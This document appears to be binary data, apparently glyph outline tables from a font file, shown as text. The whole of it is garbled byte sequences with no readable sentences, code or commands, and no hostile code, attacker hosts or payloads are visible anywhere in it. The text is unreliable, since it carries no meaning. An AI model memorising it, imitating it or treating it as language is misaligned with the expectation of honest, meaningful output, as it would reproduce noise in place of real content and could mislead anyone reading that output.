'>V9>�lm�3U%2.#!!3267>54.54>32>54.#">�E��r#��cZ�u@�%SH�<8\v{v\8(T���{ݦaNp���OV(Ii@E�a;0DRSN<%	!6W@'�!�BRF�'$?a%;E'!AlU@��|^8<x�v-g���qSQ_�W(2WvC&1$#4K6AIN%>�������0%3!73>3232.+3!73>54&#"
�������qœTWE��r#��g^#6����bjAcH0
yyy`�̀:*^�p;L�A!�DP��yy�1ZQBeF��E�%#7!##".5467#7!#32>7�������qƒT�����bjAbH0\yy���̀:*^�pC%`yy�0[PBeF]�l�1%32.#!737#".546?#7!#32>7#7!#E��r#��h^���,<}AqƒT[8[/bjAcH/����!�DPy�*^�qB%^yy�0[QBeF�yy(���K#3>54./.54>$32!>54.#"#".547)I-Oj>EwW2-Ol?�Z�U(h��jȜ^�b#7E!9eM,(LnF�g�]+7f���w��`	�l!<U6!>W9-D5+:M]j;j��W*X�](9N0$@YhD2'6!P^l=I�u_D%8l�g*/��g�$%3!73>323!737>54&#"
�������qœT[��[/bjAcH0
yyy`�̀:*^�p;L^yy�1ZQBeF"��,�HY!"'>7.547>32#".5467!#32>7>54.654&#"326���^�0�%es}=N[}��}ϔR9f�US�Y/��꟏�`�J=fMZ�]8%>T�^Xi�dTu�PD�)g?Z�`2(OuMFy_@>Xm<x�y=5i�h/l*P@'=e�G#9Z>!y+!XW�}"VQr��p�%3!73#7!#!2.#!
�����<�E��{#���^�fyyy�yy��!�DPPZ�'5C!#3!737.5467>$?#>54.'>�����T�������ߜS�����	#=T1�?saM�	"=U3�Bu`K�yJ	5b�i<!�āEdyyd
6c�i>"��|@K��4V%J`:_&]��6W&G\7��*`����4G#".'%;>32#"&'!2.#!3!7332>7654&#" E��r#4g^{���rʖX	Kk���SEx6"�E��r#��h^�����0h_;cP;d^}�# �DPvy�u:0b�c,1R�jO4�!�DP�yyK9n^$T�dX>re��A����(%2>54&#"".54>7$!2���A����@���[2[M�x���[2ZN�\BKV�?������T�?��yN�׊w�ä?�M�׊x�å?���[�/=L!##".54>3!##"$.54%>54.'>#";	K#A];��P�rE3Tmss/��>��Q��������u�	 <U6�Gw^F�g1-$
'g�y
4I1T6ZBAbF.y��=h�d5<�σ=1f�l#_.N!C[< ��
2a��93"+
��F�����DA�	>?!	v�+���TЊV��m����d	!��c��Ld��x���Y%"#>32>73�NxT0iU|�VNvR/nU{��!3?T�h:0@#]�c3>�bd!����d��x���}�+>32#".5332>54.#""#���U9u];Kft6>^@!� ' 5&)7G�tW�u�{?8S9D^:9O0$
%2)3Z|H=��3!=9�$��#�kz���'2%# 47#7!3267#7!3267#7!3!7#"&R0^bh9��l��y

3<^�f�y2<`�fᷗ�P�n���5M1=M+y��Bc"9/��y���E91��y�Ry�]Vc��VnD#%!3!73#7!>32!654&#"�;������*T]j?��G��I
6Bk�!]yy��yy�y�0C,��:L��wD2?;���#��V*D 5!!3!73#".54>76327!>54&#"3267k�_��;��c�V=�p]�e5"<S1��p����
	JM7SB4
ENh�#���y��yy�TP5f�_X��}.�PT�y��2T#`W']�uHr,[T��#�V]D'%!3!73654&#"3!73#7!>32]��;�����
6Bk�!]�������*T]j?��lyy��yy�D2?;���#yy5y�0C,��:L��r��|$3!7#"&5467#7!!!32>7�x��)T]j?��̘�`��a6A6UB05�y�0C,��C%y�y�~D<3'Q|V��VD1!!73#".54>76327!>54&#"3267k�_���V=�p]�e5"<S1��p����
	JM7SB4
ENh�#��!yy�TP5f�_X��}.�PT�y��2T#`W']�uHr,[T����
!!!73#7!�l�#�����`'y��yy"y���V�D$!73#7!>323!73>54&#"�����*U]i?��l����n:?k�!���yy�y�0D+��:L��yy5#;D6���y��VrBH32>7#""3!73#7!>323##".54>;>54.(	U#F?6�+(#$RSPD1�������5{��If��Y��#z��h_�h79r�o�?e{-"j+X�_)Ed"5H]9�yyy�y�1D*0h�v/y��o29W<E�c<
bzE:��|,!#".547>;#7!#"32>7|��N��vg��I���w�H�`���6TA4CJ4SA3'y�l�ՌC3f�i;I�͇Cty�y*`�tN}3d]N�l�|�VA#73#7!>323!73654&#"3��S��}*T]j?��l����n
6Bk�!���Vy�y�}0C,��:L��yy5D2?;���yy��VV'	!73#7!V���������yy�y�����V5>3!7#"&5467>54&#"3!73#7!>3232>7#75���)T]j?��::?k�!�����S��}*U]i?��-
5B6UB0]�'�Ry�0C,��C%+#;D6���yyy�y�}0D+��:L�?_"<5'Q|V�y6���O3#".54>7%!#32>7>54&'#"����{l��J_��k��=R?8\$�/��VH,TH8
	BI#"HC<�ъE8m�g�ުo�bCI�-[1yl�QhlQ}x-X�U2Y)i�H4k���VD!3!73#".547#7!3267#7!:����YP�n6jT4Ƙ��3;`�f��yy�]V<o[E_�y���E91��y��=$#73#7!>323!73>54&#"36���}*T]j?��l����n7Bk�!]�y#x�}0D+��:L��yy5#:?<���#y���C8K%3!7#"&54>7".'.546?3267!654&'32677��)T]j?��:a��A	)6=E@SJuO?hMC�4'(qzv-F�sH	��RF@P4!7@k�!yy�0C,��d���ze)
	@)1t?lM
q5?E!Al�]-0bPz�5s��X~D<3��#�V
D#!73654&#"3!73#7!>32
����
6Bk�!]�������*T]j?�����yy�D2?;���#yy5y�0C,��:L�+G���+3J67#73>32#6454.#"3!7#"&54%326?>54.'TrRb�I���fd�>-~!+<uoh.t��JQ��)T]j?���
5Bj�!"<R03*!���yl��Q�%2
?n�U?m�]0�Zy�0C,��:w?_"<5��I9BdF)?��yH��K+E"3!7#"&5467#7!3267654.54>32#654 "=. & ���)T]j?��l��x
5Bj�!I$N��o)UPH-~�(:'335<H+"#�y�0C,��C%+y��?_"<5��z'C;679 GtR,����V�'#7!#!732>7B��� �����$5)�y�y��y/Q>Z��+J"3267#7!3!7#"&5467>7.54>32#654�':+0%"C
5Bj�"\�䷗�)T]j?��L,<'2'I��r)UPH-~�-:=<+"`
&08��?_"<5���y�Ry�0C,��C%� C>3#0>)R�d8���g�VM:>323!!".54>7654.#"sA���UN{T-Us���gE#-���2%9a}��za1J3+OG?N:_B$%Ed>)4Q��tomowAy(+OQWbq��bB9,J5%1��mD$#73#7!>323!73>54&#"3����*U]i?��l����n;?k�!]�y5y�0D+��:L��yy5#:D7���#y���V�R2!".54>7#".54673273��w$1
2Wu��GDmN*;ABGX3-$AY5=D�ϐU/-��y):|�}:5G*0j6VH*F- Z]��T	.7��V#'3#"&'# &67#7!3267#7!3267#7!3!7�YP�n��^�s��l��y

3<^�g�y2<`�g�������]Vchja E'+y��Bc"9/��y���E91��y��yy�VQL3OS.5467>323!!"&54>7654>54.#">>j&D3Hj���P[�~JL}����e!.e�:>J<h�P.3L0;V9,3**Bw]<���#G(&HLV4-5cVH4'OxRY��|smkn:y<2)LNR/=DV�

4aJ,*CR'5H>=(+./c60m|��G\.��|D+654&#"3!73#7!>32!!73>IPk�!]�������.Z]a5J^6<az?R�z+*I:,l=5Xh���#yy5y�5E)(T�Xa���.yyr��z��W'#3!7#"&5467#7!32>7#7W���)T]j?��l��y
6B5UB1\�'�Ry�0C,��C%+y��?_"<5'Q|V�yq�V�%!73#"&5467#7!32>7#7!����Y*T]i?��l��x
6A6UB0�����yy�0D+��C%+y��@`#;3'Q|V�y��w���D8>323!>54&#"3!7#".547#7!3267#7!$P�n6kT4f��y
2<`�f��P�n6kT4f��y2<`�f��]V<o[E^��yoAb!:1����y�]V<o[E_y���E91��y���VxD$73#7!>323!73>54&#"3M���*U]i?��l����n:?k�!���Vy�y�0D+��:L��yy5#;D6���yyR�9D+?#"'7332>?#".54>76327!>54&#"3267n�t����1qw}RyX:=�p]�e5"<S1��p����
	JM7SB3FNh�#��`p�x?B�a]$S�eyTP5f�_X��}.�PT�y��2T#`W']�u�Y[U�����'	%!73#7!��A�����yyy5y�Rq�V�:>323!>54&#"3!73#".547#7!3267#7!P�n6jT4f��y
3;`������YP�n6jT4f��y3;`����]V<o[F^��yoAb!:1���Hyy�]V<o[E_y���E91���y��V�D 7!!7#73#7!>32#"&'32>7>54&#"�������ޘ�=�p]�f6"<T2��p�A�

JN6TB3EN5TB1�yiiyvy�TP6f�^X��}.�PT��i3T#`V(^�tGr,ZU(V�_��,D*%2>7>54&#"".546$32o8VD7EP9VD7!I8x��Dn��x��D2[���T+g��S�2^Z+g���c_Yq9l�d��c9l�dj��zU-+�VX4AP#3!73.547!##".54>3654.'>#";��J��\;k���u;��X�;��d�����P�nB/Ql{�?d$GiD�^�gC�?#E;-*7?y��
Eo�]M��oW;��yy1Hp�\36yly2>`C@gP:%�@5@^@'	��
@h��)G7 &3
r��`"!!7#"&5467#7!32>7#71����)T]j?��̘��6A5UB1\�'�Ry�0C,��C%y��~D<3'Q|V�y���!y#7>32#"&54>32#"&54�+50>,;!2<�+52<-;/?h1$<. :-<.
�1$;.";+80F���
3267#"&'|9�XR�H6E�WS�<�������i*2:%323"+7323"+73#7!7332#67>'&'676'&'��k�uVu��ի�2y2��ĩƵ&����;y;;*T->9�S9_6E)Lj&i��PjFj����t����\X��+6�4
��(BE)��"A654&+"!7#7!>323!374.#!73#7!#!23!,3"9 GA3��4|�;>?�H`9}���|2%�3|y|^{yQ�c7'}���
0;&BY2�|{+&&?V0:v���
z;ii��6O3
�v
��:%376=4.#!73!".5467#"&+7!#3!#7!#323!wn$$-��|U��\�]0F	?^{M^Ar|^{�ejkK��x�/%z�4U?/S{|��#a||��`g1�wy�Z|�)32>7654.#!73!3!73#7!#2!݁$/E+��}�py{��yyyU|�E]9	
.�:5bPF-+2|�ȁ�9}}��6Zu@.Z.�*����L>54.+";2>7!#!".5&6?>7!#73!3#'7#	DjKlX��^
��ja�uQ\����p��K	Op���HF����M=x=P���F<yn^E(�1Y*FuT/G��mK9d-��M��i��UAz�n%I%uJ�r^I2
Gj�v ��w�j��*E[it;!���}�%3!3!73#7!#3!�|=�pr{��|r|V}��}��w�遁~~�-xy����*>54&+3!73!3!73#7!#!203!g+=��{��z=�q|r��{yyR{rB:bG(8V�T*%-��xy�ń�8|}��#?X4����x�B654#%;2>7%#!".547#".546?#7!#3!#!2����.6�3+"
oQz�a�zR�]2	��9aE'z_{@y%G��1l��2600O98U�e8%HgB%,m5J,�||y*~��y#_����A;#">54.+3!"$.546?>3!#!23!�4b�Z�=�M��s^C4
4&��z�u���`-h����}�zTJ~[38��B#_��^�1Xy��U�(F0!�6zb��#I&�h©�c7{�s+OrF,��z��%3!".54?'#7!#3!#3!�x�6P5u[{&r�r��xZ3D&�||s
%8y��y����,>54&#!7%3!73!".5&67#7!#!2?BE��T[U��}B��Hd>�{]zF搌�)>.�m$I7�Jyz7#=R0,`||��iy7H�����5654&#%;267%+".5467!!73#7!#2a.-�Ŏ.0�6Nsh��T�S�h<	��4xov�o`�vB?
*.�f1DYQC`�V((LnE#�p�z|��;^D!��i�P";267654&/#!"&5&676$!37!".54?#7!#3!#!23!�=Q4 e07vI^�f.7��Ir�i����L'@�/��0Q;!w\}	) 	~,?�~	h��0�-J6�!0>XK��E39?��a�V'��&c���%6"}||N

x�hoD&�}�����523!7>54&#!!23!73>54.#!3!73#7�AeE$}�)' ��os_�T&}��|~
	%�ڹ{��|=|�
%B4*7|� ��*Kf;.��yyX#I!/#��yy�{X��u�"\654.+";2>7##".'+".54?>;232>7!�!"HnL�=ypeT@	
.@R2n7xtm[B�g'It�h5UE72YUW0�|ۣ_+^����eԁГO"Lk�MjO1B*Bh���\�p>:d���Uk*^1;wm`F(7`���N���QuK$*L> / R�؆OW�iǮ�g:]��^f�Y��7LP*?G8���7#+"&5467#".54?#7!#3!#;2>7#7!�}�K}�z���„6M1	yY|$2�{�%0�* 
�|^�xS|S)rw,�/B(%,uzzp(9�n4-47N/�}�t�4%3%".4?#".54?#7!#;;#7!#3!�z|��MoG"(�7R6$z\|+%)�T�|^{��{��x7.JjE�%>/!4�xx�	�u!zx�+y��$�9>54&++".5467#7!;267#7!#!23!z(�xAYltv7�T�f9x|�.-�9`a~nM��~�B".��BoYC-0UwH&3��*9=akyy��~�>#��z��
�'#+".5467#7!#;2>7#7!�h��a�L�mA|^{��$*�0&	�~b��V�a4,QsG!�yy�":9?0C'�v����:654&#!!26737>54.#!73#7!2#%!23!�17��z0EO�Fz �3{�{x�k1FF�����KV^xE���01��>K��'z z0H0
��E^9��3F*7�y]����!Y>74.+";2>72>54.'+".546?66$;23!�!EiH�C~sdR<	(OvM\@|sfT?*ZK1(C���g���[	&%��%���ؙS&"&?gH''?��?w;]�K:f���Sb3b3b��P6_���W��%C\7&]�\.U�݈-Z0���pP�Մ`h�!UVP+7F-�{}����;>54&+76"?+3!73# 467>3!2>B��m��P5YJ>9B��� {�ᅏB}��yC��E
"z���l�n8

,j�Bgi��J�ʀc�=ae �З�Q��yy8�2k:���]<s�k3p@�����=37>54&#'3!73%".546?#7!#;#7!#!23!�x$&(�|��|���AiL)/y\y(	%Ҡ|_pr;eJ*1}��.�.:L��yyp<W9
�yx�&3(�xx��&@X1�~������#%3>54&+"3!73;23!z�#$�.(%�{��{�7(��	�}��x�Ru(7- M�c�yyG��(X1��y
���� %3!"&5&67#7!#3!#7!#3!.~z�\��	e|^{l40f�|_}��}��x7��?#�xx�E:N\%xx�+ye����@##!".54?>73!2>7!".5467#7!#3!#7!�}��f��N��F�lB&*@SZ_,o--.%	���^�k:;z\{C	"Qo{`L��=t[7*Kf<�?CC<2��'9O"9J)�=eL2zz��!4)
z������$!23!73>54.#3!73#7!�T�HxU/	����}�	$���z��z;y[M�s6\zD*+�]yy�81%�7yy�xx����O%#".5&6?66$;3!72>54.+"32>?#7!#3!�-m��\<��[/'��:�W4xvlS1	�&AV1WD�xjV?!
	#HpM[>xl]F+*�1|l|���.L7 I�Ԍ,X1ߺ�e2J`wG)-||) +fY<:c���L�(W-V��[$9FE<Ã��x����D";2>7>54.#'+".5476$)#7!#!23!�:YA(	R8>�91'
~w�}^��n�]�k:	L$6
o|bnB.[G,c~�0�5H*�7GY&Fc=G�#��d�`/,QrG&)d��
zz��>dH<"�/~����!�A654.#!!2>737654.#%3!73#7!2#!!23!�$0��b@!?3#�ez%��}|��x=x�H�c;3
S~�T�Q*3V�c6#~���	!�1!,���
!��xx�{%<K&�/WC)�4M2	
�}��_�G+".546?>3;2>?>54.#!#7!#3!!32�Ru���Jxnʛ\b��R6C	�J'UTN?,$A]9���y!/~�K��v���c	�I}fN6.TvI
^IgBQ"jO, !am 6GLN#L%;sZ7�zz�xZ��;n�c)-����)%37>54&#!73#7!#!#7!#3!!23!�| :<�|�|`|w�xz_x��LN���&~��w�
3>~xx��6xx��{��cd�y������O>54&+3267!+3!73!"3!73>7!!".546?#7!#3!2/EH�p�dcfZ��w�o}��n��2B.!9z��{KR��tcp�T`�W(y_{#</�d�q=7 BN��[[QtI"��xy6cP��yy]XpA9-	�xx�	;_E�����-#+".5467!!73#7!#;2>7#7!��Z��^�b�n;�،�}r}�|��69�3-#
}b��TrG@bC#�k|yy�#7CG#;P-Y|������"37654&#!3!73#7!#!23!�}2)'���}��|=|`|+,s�h0#}��V�H)2!�rxy�yy� BeE<"�|S��~�R+".5467#7!#;2>?654.'.54?>3!!7#WLp���S�p̛\;v;k)(E_8fT�mL	+QtIX�Y-	
W�T�@��&�3):$=�yjO.�D|lX?"Dr�P
{}�?�iB?u�fA*&<dRB7@Q9#-V@Y8�Ա�3/)-7FYnE1����#%3!".5467#7!#3!#7!#3!�{~��p�j3;|]x7,0:�|`~��~��xM.RB-!����.:Ayy�,z��H�%3!73!73#7!#!#7!#3!�y��z���{r{]zrYr{`}r}��xyy8�xx��xx������$T>54.#!!2>7";2>7!+".54?6$!3#7!2#%!#3!> 3$��U;8,�D<5'4$-� 0&OiHd��n�\�p?	%BѢv��ņEZ��{��5�e~�C��

+ �q,7�~+>(�/-5!;R2|��Q�e9#HnJ%,t���z2XE#3TrE�~� |\)9�A#".5467>732>7>54.'.54?!'!���dO�e9
?`�U'B1-=#6UB3	 ( 
&9-�s�n6&LqK=">qaR�
#7P7(=(.SrD 7%>2(/7@'*6ZX9*#3)!8FW57I��;T#".547>7>54.'.546?!>74&#"32>7�$���|i�c0_�Ր/''9',XF,��=LG]B0!"7)BY?,B�՘T:f�R\h]��n*E!(5#��$,6!0203RwQ-g?S�3@E8g�[L�6 3$:a�H���4��P%654&#"32>%".5467>7>54&#".54>32�JNHoYE
[f>bN?i"���خzB	
W��zKpR6 
*0)5%
	�-*B�ɆO�^4�G�b:,kO[f([�j.O!TT MuxŠJ6a�S@!c��_":AF@8%(
'4�D.C�iA$?X4j�I>[{L87�=�rp>54&#"32>7>54.#"'>7.54>32>32#".547>73.#"b-76Q@9>D0B3,��
Hn�84@U<�"ADK,0[G+)Pu��l7P:)N�[X�`3!{��m_�h6!,:' &0!4O@5�u.b^S?%	�8]%38"T�lCe%@5FvZ��$4W>"(F9�*!#PdST���e:'1:-WRYju��E8a�L<A4YQL&
	/]�XWL��>-28HZ9; ���3�sD%#".547>73267654.#".5467>32�t��h�k7EYed\$C>+FJh{#�'6 $D:-&,�/E-u��Z��n�z@>e�D,,@eL6$dIh�KD@|7+ ')@,2�;HO%h�Z)��8@���4�s_%#".547>732>?>54&+732>7654&#".547>32�!���`f�wA^��Y!4( 
ZZ)F;.'B22+;=90BB,PB4)*�:O1k��hO�rEK`m5"A4 r�t;1XyH*-RrM.g0<J.A*E1$C^:�#;F9�0N9c8=)'E6%�2DL!S�`4 CfE(-JqT<6ER0'+���.h>54&#"32>>54.#"32>%#"&5467>7.547>32>3"�
#*1/,&#3,(� 2#1XLA* CcI8g,���x��(�c5T; o��JOsK#
)2x&`t�O@5L?;"(?,1/M,/9\Bc1,.V�A5e/*I4Cu�[)Y*"<-3`�l�ٍC��,b7��J5L^5-5o�a-)Ic: E$;<<
K�^6�(B18CT4RG�rS>54&#"32>%>32>32+732>54&#"3#".548E:1UJB@C.UNF�L)���i_�3'YULW�c5#(���\22++SK?/==!.9

'���y]�f5;Jr,VI([�lV~/J?*]�o�ՊCC:.!*U�W_~�֐J�Cm���4J=$! @"&S3�ՒK2_�W_H�s.#7>?>54&#"#.54>32w2ܧ�"#70-%EI3M@=$!%"�<?4^���]^�f5R���p|	 DoY�^�-D4T��oXt%&'|K�jmǭ�c73^���k�3CsQ%#".54>732>?>74&#!72>7>54&#">32�&���iH�|P0Pipp0!C6#);'CZA0
	��/'_a^N7
&0,=+$D9+��8c�R<dH(��q1&OxQKwZB.lG[o@ )	*W�\1*R$/=�#1;C$!	(	wkJpYI"<]t=/+F�=�~�#72>7>74.#"!7>?>54&#"!7>?>54&#"#654.'.#'>7#.547>32>32>32�`y��|/,(SNF%#>4,��$/
=<(B6(	��MH(E9+M�uH
�#8ED<QfE0+JO^@cT�F@aB"*���\&I?2"SWT"$D<.
E�[J�d;�Y�{]? �2d�d;U%	"G=P"*CD+H,S-4)+G4U!20BD'%(Q'8'.J_a\"���TF]vI*-$;1'+C.�0<
%n�@<3��r,)8! ;.,="EUCnR%TF��L>54.#"32>%#".54>32>54&#".547>32>*8!2SE:GG<VC6L'���ak�l6<g���P8l)kS`*J;+6��! o��N��Z�-08	-Z�ZQz-QB&T�-��o/4b�Vh���^3%y/4
 5("3�0j. R{R*z~5?P�Q>54&#"3267%#".547>3232>7#".#">32V98/b[Q'7#^�*q(���s\�g7�Yz�]9G84$>HQ-.#Ydo9!4*##$!k$LG?U�h;FCh*JD*_�lNp))4
��l�ٕM(QwPKXqg�],".P*\M1$+H6��
+V�XSP��s^#.#7>7>54&#"!7>?654&#"#.54>32>32�Xy�N#0'#�7@K-'n�C+8)OD7	��'*KA2K9-&	
%$�4V>#2[|��V3R>+$V`k;Q|U,MA��y%
%4$�F_;���Aq,09 >[;D0BB)I*D6,HJ5]�J�"?+J:(}Rf{Ic���`53D'(E24^�OX&&�S#".54>732>7>74&+732>7654.54?3qx��{o�p9O��h%BO>T;)LNq,�!4* 2KXK2�?`n`?#<MUU&0Q;!�n��I2Uq?R�u\ {
+25+L CL-RsFGq,VN�6K,,8(!-A4 )02%!%9U@9aP@1#4J_=E���3'qI32>73#".547>732>7#'72>54&#Q�@3tsjT7��(���r_�tB
Qz�m$5'EX8YF4�B�J"$/S�a�@�1#EH�#"'�Ѝ�:.QnA%"NoL/b3:F-%05'JjCtB008_D&3�$6?/>X����j">32>32#72>7>54&#"!7>?>54.#"3#.547>7>73:M���65z93Q?,#PW^1T�`4e��m�4>^K>#*6FG@
��"*
 (`�6[N4�>_@"Gm���*hlhV:	�+D`��T/Ql=)0B&&B0/Y�SVcY���'�)Z�hW�65<<dIH!#+.BD'L(H":(7!��oSif�^v�GRKG�����!	!!GRTD+���L#".5&7654&#"#7>3232>7>54.54>7"����hX�`2	,�83PmEu}�/j=SA6 	G�{)3)0)�p�}B5_�MEM�4)"��+M9!jg8H�§^�E�j#8"3("$*Wdf*�
!!98:AK."�4��#�654&#">654&'32>#".547>7732>7332>7>4'#"&547>73.54>32#v,,)4(s!9)% +'�/��ި�ωD Su�^)stc/-5ynT;$>O8)D EiJh�}b,DT_1mp	.SG<28_|Dsv0TAY�]0�		&.$!�?#C-03�8����pQ��lhqX���L'29�y?���R�B_=P��H}r3 5'SG 28C/#L);cG(WJ@DE$&���TIx�3�sw%+".54>7;2>7>54.#"!7>?>54&#"#".546?!32>32>32�s��xkA�oGH��x
!7/(87`9V?*�
+)�'
 
)?=F1,N:#	/$:I 45:ER31'
:BJ'@iK*6k��P2\�P[�sOa6H]<3+?PEeo*, )(�F 
DB/2/�
$)
"8W<.H36�`�&!2LXL2 ))7YA#P/k�3�s�>54&#"32>#".54>732>?654&+732>7>54&#"3#".54>32>32596N<.7A3I9-����|��x22Z�c<ju/WH6"',$&#(B:5/6+,/N`nv{=\�`21Xz��W"KH?(TPFY�b4	
Um�E-L8 �Ba#9-&KqJ>b&99%Lv��a�r>,J`41231-�=F7P2v<&)(�%T�e2P10?)7`�fC'3Z{HP��qQ-+*
.TvHA"Y�bC
#2D.*���3��A%#".54>732>7654&#".54>32'%3�q��wh�w@S��iFQ	WQ<U>*�VXIB.�,!&D]n{@3O?2��5ؽ`�J3\M`�tKi)�` 7NF(Hf>-3E2XF#�"[09maR<!І̔,�>sl'>7>54&#"!7>?>54&#"!654.#"'>7.5467>32>32�\�ҍH\?+3:0WH5��#+QO0K<1XH4plbI+��<Yg+!STO�?�e5^H*
#{��n4WD2'aim3W�_2�V��}<�)GSkM<]#65.L6#+&BB&K*)>3'MrL:;g�:&?@EVmG#L-<2OrJ#";M+�;D$[n�J#H'|�m12B%$A2'MoH!I�u�3rD%!".547>732>7#".547>7332>7!�G����`�yFQw�e!	
 3&7XE2k.p9V�f9Dh�c�JnO3
(.)UI8
�D8���&Fa;NpM.n'3=")#AZ8~1XyG26Mq^V13_\]13Y&9C2G,�_��j>54&#"32>#".54>32654&#"#7654.#".5467>32>32\ND7TA3;E":51/0>}��{c�_-6_���Y<g#�*#&
7�7 -6
U9O1Rht8,F6%IMM"=eG'E0T#[^2[�MJ3IS
7Y�b��OAn�R^���_45%�
7/��3',#3�9=?
Lh>,89,1S?'_:����F>54&#">32+732>7>54&#"!>32#$#++)'O7BN1Q�b7\t��~2*,.IRS 07/`T>
��wj��hKnH$6\|E�
8CD#+=bG��0Z�QHN[��nN)�4l�p>j-BK!:O/�2-l�j54H,DiR? �3~ri%#".54?>732>7332>54&+732>7654&'.5473#�Vu���Hq�s;!.
.=HLM$L]f0M*'XVM�'?[B.]$*@,U�`4;6W-�+$ ,
�
"<0&U�eO*bU8M�mU:Bw�bft�-ejje[%+6>!(� j��B���g5V>!J~�^Uf�+G5-D'+0 "!'	$/<'/bYJ/EbC0Aw�;654&#"32>%#"&547>32>74.#72;!MI*LC9@F.RJ@_"���v��&H`v��FNw&i %'H�c;vaiz;g�SP|/JFN�dz��G��e�E�|jN,8-v1#)�(KnE.(�*��{>54&#">'>7>54&#"#7654&#">32#>7>7>7>32>32c(*1aR>

T�oW�/G]9@!0)6�6*')"
H�hK~[3���`BqW:
�&
!Xx�d$:,
;EN+�x�&E4;%?T`x��xd L����*HDC$L.,.
��
+M=
:JTOC<G-QsE89c���aCs_H%QPKEpe_hxK m����7u�s9"++!IL&���4��.#"32>7#".547>732>54.54?#".54>32>54&''>73%�#%%	 "
387��'&-&
Phy��@\�n>d��O%6+"KD7U=)

,EFE6Q62GVd6?;61<630�2\ZZ1�+G1?F@��+,B$$,' !,��+�".G>8<E,+1U�gH/3^�P>BCnR4
_<Nb<(CF(ARUO0QKI)+0s')AP'!NLG6 %0[�c?�RVfp4�$BVvYCyrm7Q�a��1U���T32>7>4.#"#".547654&#"#7>32>7>7�	<=C^A*L
(,ZP>�.���tY�[.#7�%8QmH.I3R>(Xw�LE_>$
=tZ6�$?BG4P8&JD:+ :S4���@6`�PW`

Æ>Y9&C3)iC��	PwZA�*.43\�W'V�A�3�s�%#".'##".54?32>54&#"'>7.#".54>32>7654&#".54>323267654.'7BG`r=Ar]GN�3	+\L1a��g3ZC'	�6"(SD,0,�"t��\'%�85Gp�Ad�V,	8|mU' w
>\j+3W>#=d���8"+@�3(�>dG'\��*a=)EY2P}W.-B,!5	)$/TC7E#-D}sk2{�[$#2 #8�9z<Ec;<r�i/?S:
	
Q!,:U8-D.KoUA72MSQ@'(9
�/7@%(j�l#".54>732>7>54&#2>54&#2>7>54.'.5473323d ���dQ��R/c�j$fX4L9*)�J�<;+.�Mv+,'%>/RV-�"*��r,	?Ve.#H:$9]x?&E5 �q�m5FsWJ�p\#Y%5G1-RO>_A6R;+[=:Z?4/XS
4*!	
7/$5-B*'25.&&08 0RD5?GK$7���>54&#">32>7>74.'73#!".54676>3232>7>54&#"32>7>54.#"U#0*'4Q=,�/)
gZQ:DYc*2+5Qa,3+-���a�tA�7w��j4H+To�I�.B'=U8
�N�
'#��!#HoKA#3J��,"3<Ch*'=5-JF`yJ1&MF<+25BA;-5="��Fx^1tE��B0&a<UpM4�X-2;	+6-RN<)0
$9���@�sF654&#";2>".'3267.54>323267D+BA1RG<"!KPQ�Q{kf;X���PN)U'-H[T;f���ST�k>	Hi�Z4*!U6s�JB-M�bd�5/?&)i��`!4A !@4$M�gi��{U-5a�U F%U��t3���3)�W2>7#".54>732>73##".54>732>?>74&+7q0ok]/qqe"O�j>1A%?B	( Auok6�-t��Cll���q`�n<N��m
30(
<I&LD8=	;DP+-9Zq9+,L;2UKBZ3^/
;X:�ڐX3�a57ch�v@9a�G]�sNf
;KQ#P;>G1S>�&B>G����3�r%#".547>732>7>54'>54.'.547>32>54.#"3�$}��xt�h/V}�e/*(PL9Q<*K

`=A9R�-F0 5D#0_K.j��KE|]6��!4$'UF-+GY.?|c=0TsC$=-7~��CBg=))R{Y:m&<XBJ1H@0Sp@
#:r$E)BV1+9'#5M9.7UxM#?hM7")8!6O2+8$	4N<Ar[C.;H,3#��/?S'#37'##".547>$?.54>3237"32>7654.#"��7�e~B^��{n�x?���2��Hf��l�d/E�Zk�h?TX <2$G=_r6e,?%.L>0�8�I����U�i<*NmD)2a�`6	�#DhHm��K!A_=9H�:[=0 G8	%=)8B"
f

2P?�33�k>54.#"32>".547>32>7>32#"&'#732>7>54.#"3�%4>;3z	/<'FBB�^c�r>$+���m"l6?Z�_&!6w9W�e70���u9c+&_�Ʉ,�
,3&GEE#*;$?X}+-3#F>�O #-U��?$Q�^`��و>\yL*O$)t&QX0n@�߈:�Z�Y-�!:/�#&,U�|Qw-/;!
���4��X#".547>7>54.#".54>3232>7>54&'7QTp���DW��P���_L[3'3Q`	�'2$C`x�OE}]7a��I<}lQX_1bT@
av�N}`E-4c�Y4>n�|_*"=J^B!*ER	�*Z3$TRM:#?`A-6FueW'!IWh>V?TU#A];AU" <&sE�d%��3�sF!32>7654.'3#"&'32>7>54'7#"&547D�	*:#+A3,$3���2Xw��N<]!p	KU0H4#
	�:2 1Vw��R��^�6 #;+GrTU;)B;:":�jL�v`C%�u/@C'?. :0$8*7fXG3��Xl8�3}R32>7654&#">3232>54'7#".54>7.546�IMHs\I^g>cO?��Sn���Hl�{CY��yi�_-=6.P<""bKA-X��pP~W/3a�YAx]7tkNU]-a�kWDXY,Z�XP�rX=3^�R;BQ��w4.\XS$..#:-'� 3G-DsU0#=T05c[Q$D`~M>V�r�sI7>54.#"%>54&#"'>3.547>32�Px�^+"
 5(-XM?3I,!8'��
/8BJF:%<R2,J5{��v[�q@�9lf`-� [dd*-"?fJ5T#2G82?Qf>&C_ 6% 8K+�7.FRa69Af�n9.TuG/��Y!5>32#"&'>32#"&'>32#"&'3�(7A!9F"8J(3G�'7A#7H!9J(2G��(8A!/#"9I(5G�3%<.<01)��2&<.<01&��2&'</.&��0@! 5467>323267#".'3&"'"'632>54#"32>-W����
	�Jk�O%!	gU#:e-"/ =((����	1N4/)�̿:!	7\B$

!x)-"�Z`3H%:E�J+B2B���'3!73'!3!73!��u���$�rg��q{0�-N'�Ryy��yy��yy��?'##7!!73#7!!73!737!3!73#7!?8y �;yLy��K� y8���"��t��q{#�2��>f'�ߦ�Ά�{��z���y��yy5yy��X��<D	6%326? 32764'&"#"$547%654#"#6$ 632!"�|_i/��*p9��=D
�u$��h{���?��s�*�N!�z���V9�#���蔩�>�%M<�J^G���� ��D" �zt��ooU��!���',%32676&+732676&+73#73#7! 3#!�Pv���POo�
�wO�P�M��;���3a��^����yPk]b�JHDJ�Ry�y1y��_8y
Gt��T���D32673# !2#6&#"`V�r�+p:}�o��fno�m:p
